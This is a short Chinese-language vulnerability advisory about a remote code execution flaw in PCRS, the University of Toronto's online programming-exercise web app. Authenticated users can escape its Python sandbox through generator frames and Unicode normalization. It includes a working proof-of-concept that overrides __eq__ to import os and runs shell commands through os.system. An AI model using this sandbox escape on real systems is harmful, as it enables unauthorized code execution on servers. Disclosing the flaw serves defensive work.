PCRS 是由多伦多大学开发的用于在线编程练习的 Web 应用。 参见 Bitbucket 仓库: https://bitbucket.org/utmandrew/pcrs/src/3.11/
PCRS 的“问题”(Questions)页面(包含代码提交功能)和“代码编辑器”(Code editor)页面存在通过逃逸 Python 沙箱实现远程代码执行(RCE)的漏洞。
在 PCRS 实例中,可通过使用生成器对象实现远程代码执行。通过使用生成器帧(gi_frame)和 f_back,脚本可以穿越沙箱栈帧,在非沙箱环境中执行恶意代码。此外,Unicode 规范化可以轻松绕过基本输入过滤。任何具有最低权限的已认证用户都可以执行此攻击。更多详情请参见 PoC。
从头构建安全的隔离机制容易产生疏忽和漏洞。一如既往,对执行环境进行沙箱化比对语言进行沙箱化更好。
在受限环境中,可以重写 __eq__:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s